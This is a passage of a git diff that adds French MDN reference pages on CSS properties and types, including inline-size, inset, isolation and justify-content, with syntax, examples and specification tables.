+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">La notion de valeur initiale</a></li>
+ <li>{{cssxref("inherit")}}</li>
+ <li>{{cssxref("unset")}}</li>
+ <li>{{cssxref("revert")}}</li>
+ <li>{{cssxref("all")}}</li>
+</ul>
diff --git a/files/fr/web/css/inline-size/index.html b/files/fr/web/css/inline-size/index.html
new file mode 100644
index 0000000000..92610bd499
--- /dev/null
+++ b/files/fr/web/css/inline-size/index.html
@@ -0,0 +1,112 @@
+---
+title: inline-size
+slug: Web/CSS/inline-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/inline-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>inline-size</code></strong> définit la taille verticale ou horizontale d'un élément de bloc selon son mode d'écriture. Selon la valeur de {{cssxref("writing-mode")}}, cette propriété correspond à {{cssxref("width")}} quand le mode d'écriture n'est pas vertical ou à {{cssxref("height")}} sinon.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/inline-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher de {{cssxref("block-size")}} qui définit l'autre dimension de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+inline-size: 300px;
+inline-size: 25em;
+
+/* Valeurs proportionnelles relatives */
+/* Type &lt;percentage&gt;                  */
+inline-size: 75%;
+
+/* Valeurs avec un mot-clé */
+inline-size: 25em border-box;
+inline-size: 75% content-box;
+inline-size: max-content;
+inline-size: min-content;
+inline-size: available;
+inline-size: fit-content;
+inline-size: auto;
+
+/* Valeurs globales */
+inline-size: inherit;
+inline-size: initial;
+inline-size: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>inline-size</code> peut prendre les mêmes valeurs que les propriétés {{cssxref("width")}} et {{cssxref("height")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  inline-size: 110px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#logical-dimension-properties", "inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.inline-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("width")}}</li>
+   <li>{{cssxref("height")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/inset-block/index.html b/files/fr/web/css/inset-block/index.html
new file mode 100644
index 0000000000..7ef04b2736
--- /dev/null
+++ b/files/fr/web/css/inset-block/index.html
@@ -0,0 +1,108 @@
+---
+title: inset-block
+slug: Web/CSS/inset-block
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/inset-block
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>inset-block</code></strong> définit le décalage d'un élément par rapport au début et à la fin de l'axe de bloc de l'élément. Cette propriété logique correspond à une propriété physique donnée selon le mode d'écriture de l'élément, sa direction et l'orientation de son texte. Autrement dit, cette propriété peut correspondre à {{cssxref("top")}} et {{cssxref("bottom")}} ou à {{cssxref("right")}} et {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+inset-block: 3px 10px;
+inset-block: 2.4em 3em;
+inset-block: 10px; /* La valeur est appliquée des deux côtés */
+
+/* Les valeurs en pourcentage sont relatives à la */
+/* largeur ou à la hauteur du bloc englobant */
+/* Type &lt;percentage&gt; */
+inset-block: 10% 5%;
+
+/* Valeur avec un mot-clé */
+inset-block: auto;
+
+/* Valeurs globales */
+inset-block: inherit;
+inset-block: initial;
+inset-block: unset;
+</pre>
+
+<p>Pour gérer les décalages sur la dimension orthogonale, on pourra utiliser la propriété logique {{cssxref("inset-inline")}} qui est une propriété raccourcie pour {{cssxref("inset-inline-start")}}, and {{cssxref("inset-inline-end")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>inset-block</code> peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-block: 20px 50px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Exemples_2">Exemples</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-block", "inset-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.inset-block")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}}</li>
+ <li>Les propriétés influençant les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/inset-inline/index.html b/files/fr/web/css/inset-inline/index.html
new file mode 100644
index 0000000000..7a6f06fbf0
--- /dev/null
+++ b/files/fr/web/css/inset-inline/index.html
@@ -0,0 +1,108 @@
+---
+title: inset-inline
+slug: Web/CSS/inset-inline
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/inset-inline
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>inset-inline</code></strong> définit le décalage d'un élément par rapport au début et à la fin de l'axe en ligne de l'élément. Cette propriété logique correspond à une propriété physique donnée selon le mode d'écriture de l'élément, sa direction et l'orientation de son texte. Autrement dit, cette propriété peut correspondre à {{cssxref("top")}} et {{cssxref("bottom")}} ou à {{cssxref("right")}} et {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+inset-inline: 3px 10px;
+inset-inline: 2.4em 3em;
+inset-inline: 10px; /* La valeur est appliquée des deux côtés */
+
+/* Les valeurs en pourcentage sont relatives à la */
+/* largeur ou à la hauteur du bloc englobant */
+/* Type &lt;percentage&gt; */
+inset-inline: 10% 5%;
+
+/* Valeur avec un mot-clé */
+inset-inline: auto;
+
+/* Valeurs globales */
+inset-inline: inherit;
+inset-inline: initial;
+inset-inline: unset;
+</pre>
+
+<p>Pour gérer les décalages sur la dimension orthogonale, on pourra utiliser la propriété logique {{cssxref("inset-block")}} qui est une propriété raccourcie pour {{cssxref("inset-block-start")}}, and {{cssxref("inset-block-end")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>inset-inline</code> peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-inline: 20px 50px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Exemples_2">Exemples</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset-inline", "inset-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.inset-inline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}}</li>
+ <li>Les propriétés influençant les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/inset/index.html b/files/fr/web/css/inset/index.html
new file mode 100644
index 0000000000..bf91e20df5
--- /dev/null
+++ b/files/fr/web/css/inset/index.html
@@ -0,0 +1,115 @@
+---
+title: inset
+slug: Web/CSS/inset
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/inset
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>inset</code></strong> définit les décalages physiques d'un élément. Bien qu'elle fasse partie de la spécification sur les propriétés logiques, sa valeur ne dépend pas du mode d'écriture de l'élément, de sa direction ou de l'orientation du texte. La syntaxe de cette propriété suit la même structure que {{cssxref("margin")}}, <code>inset</code> est une propriété raccourcie permettant de définir les propriétés {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} et/ou {{cssxref("left")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueurs */
+/* Type &lt;length&gt; */
+inset: 10px; /* la valeur est appliquée à l'ensemble des côtés */
+inset: 4px 8px; /* haut/bas gauche/droit */
+inset: 5px 15px 10px; /* haut gauche/droit bas */
+inset: 2.4em 3em 3em 3em; /* haut droit bas gauche */
+
+/* pourcentages de la largeur/hauteur du bloc englobant */
+inset: 10% 5% 5% 5%;
+
+/* Valeur avec un mot-clé */
+inset: auto;
+
+/* Valeurs globales */
+inset: inherit;
+inset: initial;
+inset: unset;
+
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>inset</code> prend les mêmes valeurs que la propriété {{cssxref("left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 150px;
+  height: 120px;
+  position: relative;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  position: absolute;
+  inset: 20px 40px 30px 10px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span class="texteExemple"&gt;Texte d'exemple&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-inset", "inset")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.inset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie physique {{cssxref("margin")}}</li>
+ <li>Les propriétés physiques détaillées :
+  <ul>
+   <li>{{cssxref("top")}},</li>
+   <li>{{cssxref("right")}},</li>
+   <li>{{cssxref("bottom")}},</li>
+   <li>{{cssxref("left")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés utilisées pour les autres propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/integer/index.html b/files/fr/web/css/integer/index.html
new file mode 100644
index 0000000000..96501b4ca6
--- /dev/null
+++ b/files/fr/web/css/integer/index.html
@@ -0,0 +1,93 @@
+---
+title: <integer>
+slug: Web/CSS/integer
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/integer
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;integer&gt;</code></strong> permet de représenter des nombres entiers positifs ou négatifs. Aucune unité n'est liée à la valeur. Les entiers sont utilisés dans de nombreuses propriétés CSS comme {{cssxref("z-index")}}, {{cssxref("line-height")}}, {{cssxref("counter-increment")}}, {{cssxref("column-count")}}, {{cssxref("grid-row")}}, {{cssxref("repeat")}}. Ce type est un sous-type de {{cssxref("number")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Un entier se compose d'un ou de plusieurs chiffres, de 0 à 9, éventuellement précédés par un seul signe <code>+</code> ou <code>-</code>. Il n'y a pas d'unité pour ce type de donnée.</p>
+
+<p>Toutes les valeurs de type <code>&lt;integer&gt;</code> sont également des valeurs de type {{cssxref("&lt;number&gt;")}}, bien que l'inverse ne soit pas vrai.</p>
+
+<div class="note"><strong>Note : </strong>Il n'y a pas de bornes à l'ensemble des valeurs de type <code>&lt;entier&gt;</code> valides. Opera supporte des valeurs jusqu'à 2<sup>15</sup>-1, IE jusqu'à 2<sup>20</sup>-1 et d'autres navigateurs des valeurs encore plus hautes. Durant le cycle CSS3 Values, il y a eu de nombreuses discussions pour définir une valeur minimale à supporter : la dernière décision, en date d'avril 2012 pendant la phase LC, était [-2<sup>27</sup>-1; 2<sup>27</sup>-1] <a href="https://lists.w3.org/Archives/Public/www-style/2012Apr/0633.html">#</a> mais d'autres valeurs comme 2<sup>24</sup>-1 et 2<sup>30</sup>-1 ont aussi été proposées <a href="https://lists.w3.org/Archives/Public/www-style/2012Apr/0530.html">#</a> <a href="https://lists.w3.org/Archives/Public/www-style/2012Apr/0530.html">#</a>. Le dernier brouillon ne fait plus apparaître de limite.</div>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs du type <code>&lt;entier&gt;</code> peuvent être interpolées de manière à rendre les animations possibles. Dans ce cas l'interpolation se fait par incrémentation discrète. Le calcul est réalisé comme si les valeurs étaient des nombres réels, en virgule flottante et la valeur discrète est obtenue en utilisant la fonction <a class="external" href="https://fr.wikipedia.org/wiki/Partie_enti%C3%A8re_et_partie_fractionnaire#Fonction_partie_enti.C3.A8re">partie entière</a>. La rapidité de l'interpolation est déterminée par la {{cssxref("timing-function","fonction de temporisation")}} associée à l'animation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ces valeurs sont des entiers valides :</p>
+
+<pre class="brush: css">12          Entier positif (sans le signe + à l'avant)
++123        Entier positif (avec le signe + à l'avant)
+-456        Entier négatif
+0           Zéro
++0          Zéro, avec un signe + à l'avant
+-0          Zéro, avec un signe - à l'avant (bien qu'étrange, cette valeur est acceptée)
+</pre>
+
+<p>Ces valeurs sont des entiers non valides :</p>
+
+<pre class="brush: css example-bad">12.0        Ceci est un {{cssxref("&lt;number&gt;")}}, pas un &lt;entier&gt;, bien qu'il représente un entier
+12.         Le point ne peut pas faire partie d'un &lt;entier&gt;
++---12      Un seul +/- à l'avant est accepté
+ten         Les lettres ne sont pas acceptées
+_5          Les caractères spéciaux ne sont pas acceptés
+\35         Les caractères Unicode échappés ne sont pas acceptés, même s'ils sont un entier (ici : 5)
+\4E94       Les chiffres non-arabes ne sont pas acceptés, même échappés (ici : le 5 japonais, 五)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#integers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#integers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucune modification depuis la spécification CSS de niveau 2 (première révision)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition implicite.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '&lt;integer&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition implicite.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.types.integer")}}</p>
+
+<h2 id="Voir_aussi"> Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/isolation/index.html b/files/fr/web/css/isolation/index.html
new file mode 100644
index 0000000000..f307209c1d
--- /dev/null
+++ b/files/fr/web/css/isolation/index.html
@@ -0,0 +1,122 @@
+---
+title: isolation
+slug: Web/CSS/isolation
+tags:
+  - CSS
+  - Composition
+  - Propriété
+  - Reference
+translation_of: Web/CSS/isolation
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>isolation</code></strong> indique que l'élément crée un nouveau contexte d'empilement (<em>stacking context</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/isolation.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété s'avère particulièrement utile avec {{cssxref("mix-blend-mode")}} afin de ne mélanger que l'arrière plan d'un contexte d'empilement particulier.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec mots-clés */
+isolation: auto;
+isolation: isolate;
+
+/* Valeurs globales */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+</pre>
+
+<p>La propriété <code>isolation</code> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique qu'un nouveau contexte d'empilement doit être créé uniquement si une propriété appliquée à l'élément le rend nécessaire.</dd>
+ <dt><code>isolate</code></dt>
+ <dd>Un mot-clé qui indique qu'un nouveau contexte d'empilement doit être créé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="b" class="a"&gt;
+  &lt;div id="d"&gt;
+    &lt;div class="a c"&gt;auto&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="e"&gt;
+    &lt;div class="a c"&gt;isolate&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 230, 230)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compositing', '#isolation', 'Isolation')}}</td>
+   <td>{{Spec2('Compositing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.isolation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}</li>
+ <li>{{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/jeux_de_caractères_css/index.html b/files/fr/web/css/jeux_de_caractères_css/index.html
new file mode 100644
index 0000000000..a7c76a2c4e
--- /dev/null
+++ b/files/fr/web/css/jeux_de_caractères_css/index.html
@@ -0,0 +1,50 @@
+---
+title: Jeux de caractères CSS
+slug: Web/CSS/Jeux_de_caractères_CSS
+tags:
+  - Aperçu
+  - CSS
+  - CSS Charsets
+  - Reference
+translation_of: Web/CSS/CSS_Charsets
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les jeux de caractères pour CSS</strong> est un module CSS qui permet de définir le jeu de caractères utilisé dans les feuilles de style.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Règles">Règles @</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@charset")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="Règle-_charset">Règle-@ <code>@charset</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.charset")}}</p>
diff --git a/files/fr/web/css/justify-content/index.html b/files/fr/web/css/justify-content/index.html
new file mode 100644
index 0000000000..02d22d44ee
--- /dev/null
+++ b/files/fr/web/css/justify-content/index.html
@@ -0,0 +1,208 @@
+---
+title: justify-content
+slug: Web/CSS/justify-content
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - flexbox
+translation_of: Web/CSS/justify-content
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>justify-content</code></strong> indique la façon dont l'espace doit être réparti entre et autour des éléments selon <a href="/fr/docs/Web/CSS/CSS_Box_Alignment#Concepts_majeurs_et_terminologie">l'axe principal</a> d'un conteneur flexible ou selon l'axe en ligne lorsque le conteneur est une grille.</p>
+
+<p>L'exemple suivant illustre le fonctionnement des valeurs de cette propriété au sein d'une grille CSS.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/justify-content.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'alignement est appliqué après que les longueurs et les marges automatiques ont été appliquées. Dans une disposition utilisant les boîtes flexibles, cela signifie que s'il existe au moins un élément flexible pour lequel {{cssxref("flex-grow")}} est différent de <code>0</code>, <code>justify-content</code> n'aura aucun effet car il n'y aura plus d'espace disponible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Alignement « géométrique » */
+justify-content: center;     /* Éléments groupés au centre */
+justify-content: start;      /* Éléments groupés au début */
+justify-content: end;        /* Éléments groupés à la fin */
+justify-content: flex-start; /* Éléments flexibles groupés au début */
+justify-content: flex-end;   /* Éléments flexibles groupés à la fin */
+justify-content: left;       /* Éléments groupés à gauche */
+justify-content: right;      /* Éléments groupés à droite */
+
+/* Alignement par rapport à la ligne de base */
+/* justify-content ne prend pas de valeurs relatives à la ligne de base */
+
+/* Alignement normal */
+justify-content: normal;
+
+/* Alignement distribué */
+justify-content: space-between; /* Les éléments sont répartis équitablement
+                                   Le bord du premier est aligné sur le
+                                   début du conteneur et la fin du dernier
+                                   est alignée sur la fin du conteneur */
+justify-content: space-around;  /* Les éléments sont répartis équitablement
+                                   À chaque extrémité, entre le bord du
+                                   conteneur et le premier/dernier élément
+                                   on a la moitié de l'espace appliqué entre
+                                   chaque élément */
+justify-content: space-evenly;  /* Les éléments sont répartis équitablement
+                                   Tous les éléments sont séparés par le même
+                                   espace */
+justify-content: stretch;       /* Les éléments sont répartis équitablement et
+                                   les éléments dimensionnés avec 'auto' sont
+                                   étirés afin de remplir le conteneur */
+
+/* Alignement pour le dépassement */
+justify-content: safe center;
+justify-content: unsafe center;
+
+/* Valeurs globales */
+justify-content: inherit;
+justify-content: initial;
+justify-content: unset;
+</pre>
+
